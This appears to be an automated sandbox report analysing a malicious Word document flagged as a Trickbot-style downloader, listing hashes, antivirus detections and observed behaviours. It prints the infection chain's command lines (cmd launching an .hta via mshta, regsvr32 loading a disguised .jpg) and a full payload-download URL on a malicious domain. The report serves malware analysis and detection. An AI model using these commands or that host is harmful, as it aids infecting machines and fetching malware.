Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	July 28, 2021, 2:27 p.m.	July 28, 2021, 2:29 p.m.

Size	72.1KB
Type	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
MD5	`a8cc5c4882a5df5b63cb472c6b06290a`
SHA256	`19e95239427e51b58505e59d4349eac067a88420c9c2a0c860972e48c61efd95`
CRC32	`75781FF2`
ssdeep	`1536:EYVx3eIHr11AQYyqGJHQYCDEtU6dLTR97wKCHU6vv7PRBPLmnio6R5wBu5hUiLOU:JxOKxQYNtU6ZvRq`
Yara	None matched

WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office15\WINWORD.EXE" C:\Users\test22\AppData\Local\Temp\files.07.21.doc
552
- cmd.exe cmd /c c:\programdata\iCoreBr.hta
  108
  - mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\programdata\iCoreBr.hta"
    1532
    - regsvr32.exe "C:\Windows\System32\regsvr32.exe" c:\users\public\iCoreBr.jpg
      416

Name	Response	Post-Analysis Lookup
obeymanagement2016b.com	A 188.119.113.125	188.119.113.125

IP Address	Status	Action
164.124.101.2	Active	Moloch
188.119.113.125	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 28, 2021, 2:27 p.m.		1	1	0

Performs some HTTP requests (1 event)

request

GET http://obeymanagement2016b.com/bdfh/67270/Jro4DRgVaC5inYI/Bt0KLfMB9kXwZBv6ZpTsny68TqAhIQjrAaLKJeTLQn/arASpMADNe9u19Kylnkoreo7zASjqM/eEx0/9b4h5e2fMcQgeIbFTRhkKeSzfU/nwSFB7eISkV/nady6?sid=x0pNuhYS&wcI68Y=5pVaV&vyOH=tDsbEuhGxtlV&cid=gPIFvGFQ277aG&time=N9pAcaWDfFl&user=euaqGed8iDibaWexTQo&search=AzLRbFAU1XErrU1Fitj&=BBaQu

Allocates read-write-execute memory (usually to unpack itself) (29 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6a6be000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03ba6000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03ba6000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b20000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b20000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b20000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b20000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b20000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b20000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b20000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b20000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02592000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02592000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 1532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02592000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6af81000 process_handle: 0xffffffff	1

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$les.07.21.doc

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile July 28, 2021, 2:27 p.m.	create_disposition: 5 (FILE_OVERWRITE_IF) file_handle: 0x00000484 filepath: C:\Users\test22\AppData\Local\Temp\~$les.07.21.doc desired_access: 0x40100080 (FILE_READ_ATTRIBUTES\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$les.07.21.doc create_options: 4194400 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT) status_info: 2 (FILE_CREATED) share_access: 0 ()	1	0	0

Creates a suspicious process (3 events)

cmdline	"C:\Windows\System32\regsvr32.exe" c:\users\public\iCoreBr.jpg
cmdline	"C:\Windows\SysWOW64\mshta.exe" "C:\programdata\iCoreBr.hta"
cmdline	regsvr32 c:\users\public\iCoreBr.jpg

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory July 28, 2021, 2:27 p.m.	process_identifier: 552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef70000 process_handle: 0xffffffff	1	0	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Disables proxy possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA July 28, 2021, 2:27 p.m.	key_handle: 0x000003a4 regkey_r: ProxyEnable reg_type: 4 (REG_DWORD) value: 0 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable	1	0	0

File has been identified by 13 AntiVirus engines on VirusTotal as malicious (13 events)

Lionic	Trojan.MSOffice.SAgent.4!c
Elastic	malicious (high confidence)
McAfee	XML/Trickbot.a
Symantec	ISB.Downloader!gen148
Kaspersky	HEUR:Trojan.MSOffice.SAgent.gen
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi
Sophos	Mal/DocDl-X
McAfee-GW-Edition	XML/Trickbot.a
ZoneAlarm	HEUR:Trojan.MSOffice.SAgent.gen
Microsoft	Trojan:Script/Wacatac.B!ml
TACHYON	Suspicious/XML.Obfus.Gen.8
Ikarus	Trojan-Dropper.VBA.Agent
Fortinet	VBA/Agent.B0ED!tr

A command shell or script process was created by an unexpected parent process (1 event)

parent_process

winword.exe

martian_process

cmd /c c:\programdata\iCoreBr.hta

One or more non-whitelisted processes were created (1 event)

parent_process

winword.exe

martian_process

cmd /c c:\programdata\iCoreBr.hta

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 108 resumed a thread in remote process 1532
NtResumeThread July 28, 2021, 2:27 p.m.	thread_handle: 0x00000210 suspend_count: 1 process_identifier: 1532	1	0	0

files.07.21.doc

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All